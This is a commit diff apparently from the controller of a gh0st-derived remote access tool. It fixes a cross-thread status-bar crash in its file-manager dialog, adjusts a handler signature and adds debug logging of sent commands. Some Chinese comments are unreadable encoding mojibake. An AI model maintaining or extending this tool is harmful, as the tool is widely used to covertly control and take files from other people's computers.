fix: 文件管理对话框SetPaneText崩溃,传输故障
This commit is contained in:
@@ -216,3 +216,6 @@ TestRun在写入开机自启动项时先提升权限,以防止因权限不足
|
||||
|
||||
2019.8.25
|
||||
调整项目设置,解决采用VS2015编译时某些项目不通过的问题。
|
||||
|
||||
2021.3.14
|
||||
修复了若干个问题。
|
||||
|
||||
@@ -26,7 +26,7 @@ CFileManager::~CFileManager()
|
||||
m_UploadList.clear();
|
||||
}
|
||||
|
||||
void CFileManager::OnReceive(PBYTE lpBuffer, UINT nSize)
|
||||
VOID CFileManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
|
||||
{
|
||||
switch (lpBuffer[0])
|
||||
{
|
||||
@@ -442,7 +442,7 @@ UINT CFileManager::SendFileSize(LPCTSTR lpszFileName)
|
||||
|
||||
UINT CFileManager::SendFileData(LPBYTE lpBuffer)
|
||||
{
|
||||
UINT nRet;
|
||||
UINT nRet = 0;
|
||||
FILESIZE *pFileSize;
|
||||
char *lpFileName;
|
||||
|
||||
|
||||
@@ -28,7 +28,7 @@ typedef struct
|
||||
class CFileManager : public CManager
|
||||
{
|
||||
public:
|
||||
void OnReceive(PBYTE lpBuffer, UINT nSize);
|
||||
virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
|
||||
UINT SendDriveList();
|
||||
CFileManager(CClientSocket *pClient, int h = 0);
|
||||
virtual ~CFileManager();
|
||||
|
||||
@@ -160,6 +160,7 @@ BEGIN_MESSAGE_MAP(CFileManagerDlg, CDialog)
|
||||
ON_COMMAND(IDM_REMOTE_OPEN_HIDE, OnRemoteOpenHide)
|
||||
ON_NOTIFY(NM_RCLICK, IDC_LIST_LOCAL, OnRclickListLocal)
|
||||
ON_NOTIFY(NM_RCLICK, IDC_LIST_REMOTE, OnRclickListRemote)
|
||||
ON_MESSAGE(WM_MY_MESSAGE, OnMyMessage)
|
||||
//}}AFX_MSG_MAP
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
@@ -1110,14 +1111,17 @@ void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen)
|
||||
|
||||
void CFileManagerDlg::ShowMessage(char *lpFmt, ...)
|
||||
{
|
||||
char buff[1024];
|
||||
char *buff = new char[1024];
|
||||
va_list arglist;
|
||||
va_start( arglist, lpFmt );
|
||||
|
||||
memset(buff, 0, sizeof(buff));
|
||||
memset(buff, 0, 1024);
|
||||
|
||||
vsprintf(buff, lpFmt, arglist);
|
||||
m_wndStatusBar.SetPaneText(0, buff);
|
||||
// fix: <20><><EFBFBD>̲߳<DFB3><CCB2><EFBFBD><EFBFBD>ؼ<EFBFBD><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
// m_wndStatusBar.SetPaneText(0, buff);
|
||||
// msg <20><>1<EFBFBD><31><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С,<2C><>2<EFBFBD><32><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>
|
||||
SendMessage(WM_MY_MESSAGE, 1024, (LPARAM)buff);
|
||||
va_end( arglist );
|
||||
}
|
||||
|
||||
|
||||
@@ -6,6 +6,8 @@
|
||||
#endif // _MSC_VER > 1000
|
||||
#include "gh0st2Remote.h"
|
||||
|
||||
#define WM_MY_MESSAGE (WM_USER+300)
|
||||
|
||||
// FileManagerDlg.h : header file
|
||||
//
|
||||
|
||||
@@ -15,6 +17,16 @@ typedef CList<CString, CString&> strList;
|
||||
|
||||
class CFileManagerDlg : public CDialog
|
||||
{
|
||||
protected:
|
||||
// <20><><EFBFBD><EFBFBD>״̬<D7B4><CCAC><EFBFBD><EFBFBD>Ϣ
|
||||
afx_msg LRESULT OnMyMessage(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
char *buff = (char*)lParam;
|
||||
m_wndStatusBar.SetPaneText(0, buff);
|
||||
delete[]buff;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
// Construction
|
||||
public:
|
||||
bool m_bIsStop;
|
||||
|
||||
@@ -521,7 +521,17 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
|
||||
VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength)
|
||||
{
|
||||
assert (ContextObject);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (ulOriginalLength < 100) {
|
||||
char buf[100] = { 0 };
|
||||
if (ulOriginalLength == 1){
|
||||
sprintf_s(buf, "command %d", int(szBuffer[0]));
|
||||
}
|
||||
else {
|
||||
memcpy(buf, szBuffer, ulOriginalLength);
|
||||
}
|
||||
OutputDebugStringA("[COMMAND] Send: " + CString(buf) + "\r\n");
|
||||
}
|
||||
try
|
||||
{
|
||||
if (ulOriginalLength > 0)
|
||||
|
||||
Reference in New Issue
Block a user